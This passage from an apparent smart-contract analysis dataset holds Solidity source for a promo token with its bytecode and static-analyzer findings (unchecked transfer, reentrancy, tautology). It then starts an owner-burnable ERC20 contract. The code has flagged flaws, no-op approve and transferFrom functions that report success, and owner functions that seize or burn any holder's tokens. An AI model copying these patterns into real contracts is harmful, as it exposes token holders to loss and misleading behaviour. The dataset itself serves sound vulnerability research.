function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
contract CSTKDropToken is ERC20, Owned {
using SafeMath for uint256;
string public symbol;
string public name;
uint256 public decimals;
uint256 _totalSupply;
bool public started;
address public token;
struct Level {
uint256 price;
uint256 available;
}
Level[] levels;
mapping(address => uint256) balances;
mapping(address => mapping(string => uint256)) orders;
event TransferETH(address indexed from, address indexed to, uint256 eth);
event Sell(address indexed to, uint256 tokens, uint256 eth);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor(string _symbol, string _name, uint256 _supply, uint256 _decimals, address _token) public {
symbol = _symbol;
name = _name;
decimals = _decimals;
token = _token;
_totalSupply = _supply;
balances[owner] = _totalSupply;
started = false;
emit Transfer(address(0), owner, _totalSupply);
}
function destruct() public onlyOwner {
ERC20 tokenInstance = ERC20(token);
uint256 balance = tokenInstance.balanceOf(this);
if (balance > 0) {
tokenInstance.transfer(owner, balance);
}
selfdestruct(owner);
}
// ------------------------------------------------------------------------
// Changes the address of the supported token
// ------------------------------------------------------------------------
function setToken(address newTokenAddress) public onlyOwner returns (bool success) {
token = newTokenAddress;
return true;
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint256) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Changes the total supply value
//
// a new supply must be no less then the current supply
// or the owner must have enough amount to cover supply reduction
// ------------------------------------------------------------------------
function changeTotalSupply(uint256 newSupply) public onlyOwner returns (bool success) {
require(newSupply >= 0 && (
newSupply >= _totalSupply || _totalSupply - newSupply <= balances[owner]
));
uint256 diff = 0;
if (newSupply >= _totalSupply) {
diff = newSupply.sub(_totalSupply);
balances[owner] = balances[owner].add(diff);
emit Transfer(address(0), owner, diff);
} else {
diff = _totalSupply.sub(newSupply);
balances[owner] = balances[owner].sub(diff);
emit Transfer(owner, address(0), diff);
}
_totalSupply = newSupply;
return true;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint256 balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Start accept orders
// ------------------------------------------------------------------------
function start() public onlyOwner {
started = true;
}
// ------------------------------------------------------------------------
// Start accept orders
// ------------------------------------------------------------------------
function stop() public onlyOwner {
started = false;
}
// ------------------------------------------------------------------------
// Adds new Level to the levels array
// ------------------------------------------------------------------------
function addLevel(uint256 price, uint256 available) public onlyOwner {
levels.push(Level(price, available));
}
// ------------------------------------------------------------------------
// Removes a level with specified price from the levels array
// ------------------------------------------------------------------------
function removeLevel(uint256 price) public onlyOwner {
if (levels.length < 1) {
return;
}
Level[] memory tmp = levels;
delete levels;
for (uint i = 0; i < tmp.length; i++) {
if (tmp[i].price != price) {
levels.push(tmp[i]);
}
}
}
// ------------------------------------------------------------------------
// Replaces a particular level index by a new Level values
// ------------------------------------------------------------------------
function replaceLevel(uint index, uint256 price, uint256 available) public onlyOwner {
levels[index] = Level(price, available);
}
// ------------------------------------------------------------------------
// Clears the levels array
// ------------------------------------------------------------------------
function clearLevels() public onlyOwner {
delete levels;
}
// ------------------------------------------------------------------------
// Finds a level with specified price and returns an amount of available tokens on the level
// ------------------------------------------------------------------------
function getLevelAmount(uint256 price) public view returns (uint256 available) {
if (levels.length < 1) {
return 0;
}
for (uint i = 0; i < levels.length; i++) {
if (levels[i].price == price) {
return levels[i].available;
}
}
}
// ------------------------------------------------------------------------
// Returns a Level by it's array index
// ------------------------------------------------------------------------
function getLevelByIndex(uint index) public view returns (uint256 price, uint256 available) {
price = levels[index].price;
available = levels[index].available;
}
// ------------------------------------------------------------------------
// Returns a count of levels
// ------------------------------------------------------------------------
function getLevelsCount() public view returns (uint) {
return levels.length;
}
// ------------------------------------------------------------------------
// Returns a Level by it's array index
// ------------------------------------------------------------------------
function getCurrentLevel() public view returns (uint256 price, uint256 available) {
if (levels.length < 1) {
return;
}
for (uint i = 0; i < levels.length; i++) {
if (levels[i].available > 0) {
price = levels[i].price;
available = levels[i].available;
break;
}
}
}
// ------------------------------------------------------------------------
// Get the order's balance of tokens for account `customer`
// ------------------------------------------------------------------------
function orderTokensOf(address customer) public view returns (uint256 balance) {
return orders[customer]['tokens'];
}
// ------------------------------------------------------------------------
// Get the order's balance of ETH for account `customer`
// ------------------------------------------------------------------------
function orderEthOf(address customer) public view returns (uint256 balance) {
return orders[customer]['eth'];
}
// ------------------------------------------------------------------------
// Delete customer's order
// ------------------------------------------------------------------------
function cancelOrder(address customer) public onlyOwner returns (bool success) {
orders[customer]['eth'] = 0;
orders[customer]['tokens'] = 0;
return true;
}
// ------------------------------------------------------------------------
// Checks the order values by the customer's address and sends required
// promo tokens based on the received amount of `this` tokens and ETH
// ------------------------------------------------------------------------
function _checkOrder(address customer) private returns (uint256 tokens, uint256 eth) {
require(started);
eth = 0;
tokens = 0;
if (getLevelsCount() <= 0 || orders[customer]['tokens'] <= 0 || orders[customer]['eth'] <= 0) {
return;
}
ERC20 tokenInstance = ERC20(token);
uint256 balance = tokenInstance.balanceOf(this);
uint256 orderEth = orders[customer]['eth'];
uint256 orderTokens = orders[customer]['tokens'] > balance ? balance : orders[customer]['tokens'];
for (uint i = 0; i < levels.length; i++) {
if (levels[i].available <= 0) {
continue;
}
uint256 _tokens = (10**decimals) * orderEth / levels[i].price;
// check if there enough tokens on the level
if (_tokens > levels[i].available) {
_tokens = levels[i].available;
}
// check the order tokens limit
if (_tokens > orderTokens) {
_tokens = orderTokens;
}
uint256 _eth = _tokens * levels[i].price / (10**decimals);
levels[i].available -= _tokens;
// accumulate total price and tokens
eth += _eth;
tokens += _tokens;
// reduce remaining limits
orderEth -= _eth;
orderTokens -= _tokens;
if (orderEth <= 0 || orderTokens <= 0 || levels[i].available > 0) {
// order is calculated
break;
}
}
// charge required amount of the tokens and ETHs
orders[customer]['tokens'] = orders[customer]['tokens'].sub(tokens);
orders[customer]['eth'] = orders[customer]['eth'].sub(eth);
tokenInstance.transfer(customer, tokens);
emit Sell(customer, tokens, eth);
}
// ------------------------------------------------------------------------
// public entry point for the `_checkOrder` function
// ------------------------------------------------------------------------
function checkOrder(address customer) public onlyOwner returns (uint256 tokens, uint256 eth) {
return _checkOrder(customer);
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// - only owner is allowed to send tokens to any address
// - not owners can transfer the balance only to owner's address
// ------------------------------------------------------------------------
function transfer(address to, uint256 tokens) public returns (bool success) {
require(msg.sender == owner || to == owner || to == address(this));
address receiver = msg.sender == owner ? to : owner;
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[receiver] = balances[receiver].add(tokens);
emit Transfer(msg.sender, receiver, tokens);
if (receiver == owner) {
orders[msg.sender]['tokens'] = orders[msg.sender]['tokens'].add(tokens);
_checkOrder(msg.sender);
}
return true;
}
// ------------------------------------------------------------------------
// `allowance` is not allowed
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining) {
tokenOwner;
spender;
return uint256(0);
}
// ------------------------------------------------------------------------
// `approve` is not allowed
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
spender;
tokens;
return true;
}
// ------------------------------------------------------------------------
// `transferFrom` is not allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint256 tokens) public returns (bool success) {
from;
to;
tokens;
return true;
}
// ------------------------------------------------------------------------
// Accept ETH
// ------------------------------------------------------------------------
function () public payable {
owner.transfer(msg.value);
emit TransferETH(msg.sender, address(this), msg.value);
orders[msg.sender]['eth'] = orders[msg.sender]['eth'].add(msg.value);
_checkOrder(msg.sender);
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint256 tokens) public onlyOwner returns (bool success) {
return ERC20(tokenAddress).transfer(owner, tokens);
}
// ------------------------------------------------------------------------
// Owner can transfer out promo token
// ------------------------------------------------------------------------
function transferToken(uint256 tokens) public onlyOwner returns (bool success) {
return transferAnyERC20Token(token, tokens);
}
// ------------------------------------------------------------------------
// Owner can return specified amount from `tokenOwner`
// ------------------------------------------------------------------------
function returnFrom(address tokenOwner, uint256 tokens) public onlyOwner returns (bool success) {
balances[tokenOwner] = balances[tokenOwner].sub(tokens);
balances[owner] = balances[owner].add(tokens);
emit Transfer(tokenOwner, owner, tokens);
return true;
}
// ------------------------------------------------------------------------
// Owner can return all tokens from `tokenOwner`
// ------------------------------------------------------------------------
function nullifyFrom(address tokenOwner) public onlyOwner returns (bool success) {
return returnFrom(tokenOwner, balances[tokenOwner]);
}
}
contract CSTK_CLT is CSTKDropToken('CSTK_CLT', 'CryptoStock CLT Promo Token', 100000 * 10**8, 8, 0x2001f2A0Cf801EcFda622f6C28fb6E10d803D969) {
}
|
0x6080604052600436106101ab5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146102a357806307da68f51461032d578063095ea7b314610344578063144fa6d71461037c5780631786e3621461039d57806318160ddd146103d05780631f2698ab146103e557806323b872dd146103fa5780632b68b9c614610424578063313ce567146104395780633551a6ca1461044e57806338756a891461046f578063478cd032146104845780634d894d241461049c57806352e97326146104cd5780635fb1ef8e146104e5578063601960081461050657806370a082311461052457806377c78df9146105455780637c23d1cb1461055a57806388eccb09146105725780638da5cb5b1461058d57806395d89b41146105be57806399c49852146105d35780639fc71b31146105f4578063a9059cbb1461060c578063be9a655514610630578063c8e3207414610645578063dc39d06d14610669578063dd62ed3e1461068d578063e7bfdc93146106b4578063f2fde38b146106c9578063f3868555146106ea578063fc0c546a1461070b575b60008054604051600160a060020a03909116913480156108fc02929091818181858888f193505050501580156101e5573d6000803e3d6000fd5b50604080513481529051309133917fb417e19f030bde3b90ec59aeed617934f679c9071dde0be604082db6586346a69181900360200190a33360009081526008602052604090819020815160eb60020a620cae8d0281526003810191909152905190819003602301902054610260903463ffffffff61072016565b3360008181526008602052604090819020815160eb60020a620cae8d028152600381019190915290519081900360230190209190915561029f90610736565b5050005b3480156102af57600080fd5b506102b8610cc3565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102f25781810151838201526020016102da565b50505050905090810190601f16801561031f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561033957600080fd5b50610342610d4e565b005b34801561035057600080fd5b50610368600160a060020a0360043516602435610d71565b604080519115158252519081900360200190f35b34801561038857600080fd5b50610368600160a060020a0360043516610d79565b3480156103a957600080fd5b506103be600160a060020a0360043516610dc8565b60408051918252519081900360200190f35b3480156103dc57600080fd5b506103be610e0c565b3480156103f157600080fd5b50610368610e50565b34801561040657600080fd5b50610368600160a060020a0360043581169060243516604435610e59565b34801561043057600080fd5b50610342610e62565b34801561044557600080fd5b506103be610fcb565b34801561045a57600080fd5b50610368600160a060020a0360043516610fd1565b34801561047b57600080fd5b506103be61100d565b34801561049057600080fd5b506103be600435611013565b3480156104a857600080fd5b506104b4600435611098565b6040805192835260208301919091528051918290030190f35b3480156104d957600080fd5b506103686004356110e6565b3480156104f157600080fd5b506104b4600160a060020a036004351661126e565b34801561051257600080fd5b5061034260043560243560443561129a565b34801561053057600080fd5b506103be600160a060020a03600435166112f7565b34801561055157600080fd5b506104b4611312565b34801561056657600080fd5b506103426004356113b8565b34801561057e57600080fd5b506103426004356024356114d1565b34801561059957600080fd5b506105a2611560565b60408051600160a060020a039092168252519081900360200190f35b3480156105ca57600080fd5b506102b861156f565b3480156105df57600080fd5b50610368600160a060020a03600435166115c9565b34801561060057600080fd5b50610368600435611651565b34801561061857600080fd5b50610368600160a060020a0360043516602435611684565b34801561063c57600080fd5b50610342611833565b34801561065157600080fd5b50610368600160a060020a0360043516602435611859565b34801561067557600080fd5b50610368600160a060020a0360043516602435611922565b34801561069957600080fd5b506103be600160a060020a03600435811690602435166119dd565b3480156106c057600080fd5b506103426119e5565b3480156106d557600080fd5b506105a2600160a060020a0360043516611a0a565b3480156106f657600080fd5b506103be600160a060020a0360043516611a52565b34801561071757600080fd5b506105a2611a93565b8181018281101561073057600080fd5b92915050565b6000806000806000806000806000600560009054906101000a900460ff16151561075f57600080fd5b6000975060009850600061077161100d565b1115806107ba5750600160a060020a038a16600090815260086020526040808220815160d060020a65746f6b656e73028152600681019190915290519081900360260190205411155b806107fe5750600160a060020a038a16600090815260086020526040808220815160eb60020a620cae8d028152600381019190915290519081900360230190205411155b1561080857610cb7565b600554604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051610100909204600160a060020a0316985088916370a08231916024808201926020929091908290030181600087803b15801561087557600080fd5b505af1158015610889573d6000803e3d6000fd5b505050506040513d602081101561089f57600080fd5b5051600160a060020a038b166000818152600860208181526040808420815160eb60020a620cae8d02815260038101829052825190819003602301812054969095529290915260d060020a65746f6b656e73028352600683019190915251908190036026019020549197509550861061095657600160a060020a038a1660009081526008602052604090819020815160d060020a65746f6b656e730281526006810191909152905190819003602601902054610958565b855b9350600092505b600654831015610ae457600060068481548110151561097a57fe5b90600052602060002090600202016001015411151561099857610ad9565b60068054849081106109a657fe5b90600052602060002090600202016000015485600354600a0a028115156109c957fe5b0491506006838154811015156109db57fe5b906000526020600020906002020160010154821115610a17576006805484908110610a0257fe5b90600052602060002090600202016001015491505b83821115610a23578391505b600354600a0a600684815481101515610a3857fe5b9060005260206000209060020201600001548302811515610a5557fe5b04905081600684815481101515610a6857fe5b60009182526020822060016002909202010180549290920390915598820198978101979481900394938290039385111580610aa4575060008411155b80610acf57506000600684815481101515610abb57fe5b906000526020600020906002020160010154115b15610ad957610ae4565b60019092019161095f565b600160a060020a038a1660009081526008602052604090819020815160d060020a65746f6b656e730281526006810191909152905190819003602601902054610b33908a63ffffffff611aa716565b600160a060020a038b166000818152600860208181526040808420815160d060020a65746f6b656e7302815260068101829052825190819003602601812097909755949093525260eb60020a620cae8d02835260038301919091525190819003602301902054610ba9908963ffffffff611aa716565b600160a060020a03808c166000818152600860209081526040808320815160eb60020a620cae8d02815260038101919091528151908190036023018120969096557fa9059cbb0000000000000000000000000000000000000000000000000000000086526004860193909352602485018e90529151928b169363a9059cbb936044808301949391928390030190829087803b158015610c4757600080fd5b505af1158015610c5b573d6000803e3d6000fd5b505050506040513d6020811015610c7157600080fd5b5050604080518a8152602081018a90528151600160a060020a038d16927fed7a144fad14804d5c249145e3e0e2b63a9eb455b76aee5bc92d711e9bba3e4a928290030190a25b50505050505050915091565b6002805460408051602060018416156101000260001901909316849004601f81018490048402820184019092528181529291830182828015610d465780601f10610d1b57610100808354040283529160200191610d46565b820191906000526020600020905b815481529060010190602001808311610d2957829003601f168201915b505050505081565b600054600160a060020a03163314610d6557600080fd5b6005805460ff19169055565b600192915050565b60008054600160a060020a03163314610d9157600080fd5b5060058054600160a060020a0383166101000274ffffffffffffffffffffffffffffffffffffffff00199091161790556001919050565b600160a060020a03811660009081526008602052604090819020815160d060020a65746f6b656e730281526006810191909152905190819003602601902054919050565b600080805260076020527f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df54600454610e4a9163ffffffff611aa716565b90505b90565b60055460ff1681565b60019392505050565b600080548190600160a060020a03163314610e7c57600080fd5b600554604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051610100909204600160a060020a0316935083916370a08231916024808201926020929091908290030181600087803b158015610ee957600080fd5b505af1158015610efd573d6000803e3d6000fd5b505050506040513d6020811015610f1357600080fd5b505190506000811115610fbd5760008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810185905290519185169263a9059cbb926044808401936020939083900390910190829087803b158015610f9057600080fd5b505af1158015610fa4573d6000803e3d6000fd5b505050506040513d6020811015610fba57600080fd5b50505b600054600160a060020a0316ff5b60035481565b60008054600160a060020a03163314610fe957600080fd5b600160a060020a038216600090815260076020526040902054610730908390611859565b60065490565b6000806001600680549050101561102d5760009150611092565b5060005b600654811015611092578260068281548110151561104b57fe5b906000526020600020906002020160000154141561108a57600680548290811061107157fe5b9060005260206000209060020201600101549150611092565b600101611031565b50919050565b6000806006838154811015156110aa57fe5b90600052602060002090600202016000015491506006838154811015156110cd57fe5b9060005260206000209060020201600101549050915091565b600080548190600160a060020a0316331461110057600080fd5b6000831015801561113a57506004548310158061113a575060008054600160a060020a031681526007602052604090205460045484900311155b151561114557600080fd5b5060045460009083106111dd5760045461116690849063ffffffff611aa716565b60008054600160a060020a0316815260076020526040902054909150611192908263ffffffff61072016565b60008054600160a060020a03908116825260076020908152604080842094909455825484518681529451921693600080516020611b05833981519152929081900390910190a3611264565b6004546111f0908463ffffffff611aa716565b60008054600160a060020a031681526007602052604090205490915061121c908263ffffffff611aa716565b60008054600160a060020a039081168252600760209081526040808420949094558254845186815294519394921692600080516020611b058339815191529281900390910190a35b5050600455600190565b600080548190600160a060020a0316331461128857600080fd5b61129183610736565b91509150915091565b600054600160a060020a031633146112b157600080fd5b604080518082019091528281526020810182905260068054859081106112d357fe5b60009182526020918290208351600290920201908155910151600190910155505050565b600160a060020a031660009081526007602052604090205490565b60008060006001600680549050101561132a576113b3565b5060005b6006548110156113b357600060068281548110151561134957fe5b90600052602060002090600202016001015411156113ab57600680548290811061136f57fe5b906000526020600020906002020160000154925060068181548110151561139257fe5b90600052602060002090600202016001015491506113b3565b60010161132e565b509091565b6000805460609190600160a060020a031633146113d457600080fd5b600654600111156113e4576114cc565b6006805480602002602001604051908101604052809291908181526020016000905b82821015611445576000848152602090819020604080518082019091526002850290910180548252600190810154828401529083529092019101611406565b505050509150600660006114599190611abc565b5060005b81518110156114cc5782828281518110151561147557fe5b6020908102909101015151146114c4576006828281518110151561149557fe5b602090810290910181015182546001818101855560009485529383902082516002909202019081559101519101555b60010161145d565b505050565b600054600160a060020a031633146114e857600080fd5b60408051808201909152918252602082019081526006805460018101825560009190915291517ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f600290930292830155517ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d4090910155565b600054600160a060020a031681565b60018054604080516020600284861615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610d465780601f10610d1b57610100808354040283529160200191610d46565b60008054600160a060020a031633146115e157600080fd5b50600160a060020a0381166000818152600860208181526040808420815160eb60020a620cae8d0281526003810182905282519081900360230181208690559585529290915260d060020a65746f6b656e7302845260068401919091525191829003602601909120556001919050565b60008054600160a060020a0316331461166957600080fd5b600554610730906101009004600160a060020a031683611922565b600080548190600160a060020a03163314806116ad5750600054600160a060020a038581169116145b806116c05750600160a060020a03841630145b15156116cb57600080fd5b600054600160a060020a031633146116ee57600054600160a060020a03166116f0565b835b33600090815260076020526040902054909150611713908463ffffffff611aa716565b3360009081526007602052604080822092909255600160a060020a03831681522054611745908463ffffffff61072016565b600160a060020a038216600081815260076020908152604091829020939093558051868152905191923392600080516020611b058339815191529281900390910190a3600054600160a060020a0382811691161415611829573360009081526008602052604090819020815160d060020a65746f6b656e7302815260068101919091529051908190036026019020546117e4908463ffffffff61072016565b3360008181526008602052604090819020815160d060020a65746f6b656e73028152600681019190915290519081900360260190209190915561182690610736565b50505b5060019392505050565b600054600160a060020a0316331461184a57600080fd5b6005805460ff19166001179055565b60008054600160a060020a0316331461187157600080fd5b600160a060020a03831660009081526007602052604090205461189a908363ffffffff611aa716565b600160a060020a03808516600090815260076020526040808220939093558054909116815220546118d1908363ffffffff61072016565b60008054600160a060020a039081168252600760209081526040808420949094559154835186815293519082169391871692600080516020611b05833981519152928290030190a350600192915050565b60008054600160a060020a0316331461193a57600080fd5b60008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810186905290519186169263a9059cbb926044808401936020939083900390910190829087803b1580156119aa57600080fd5b505af11580156119be573d6000803e3d6000fd5b505050506040513d60208110156119d457600080fd5b50519392505050565b600092915050565b600054600160a060020a031633146119fc57600080fd5b611a0860066000611abc565b565b60008054600160a060020a03163314611a2257600080fd5b506000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392831617908190551690565b600160a060020a03811660009081526008602052604090819020815160eb60020a620cae8d0281526003810191909152905190819003602301902054919050565b6005546101009004600160a060020a031681565b600082821115611ab657600080fd5b50900390565b5080546000825560020290600052602060002090810190611add9190611ae0565b50565b610e4d91905b80821115611b005760008082556001820155600201611ae6565b50905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820854228f2a5938ed446d865a33b8991a842a4f0f4b05d1f8cfb53a2a3697994b30029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 5,779 |
0x9bb4f6229b384fba3d7593c04c57281b9938f8f4
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ABE is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = "Lincoln Token";
_symbol = "ABE";
_totalSupply = 1000000 * (10**decimals());
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0),msg.sender,_totalSupply);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function burn(address account,uint256 amount) public onlyOwner {
_burn(account,amount);
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
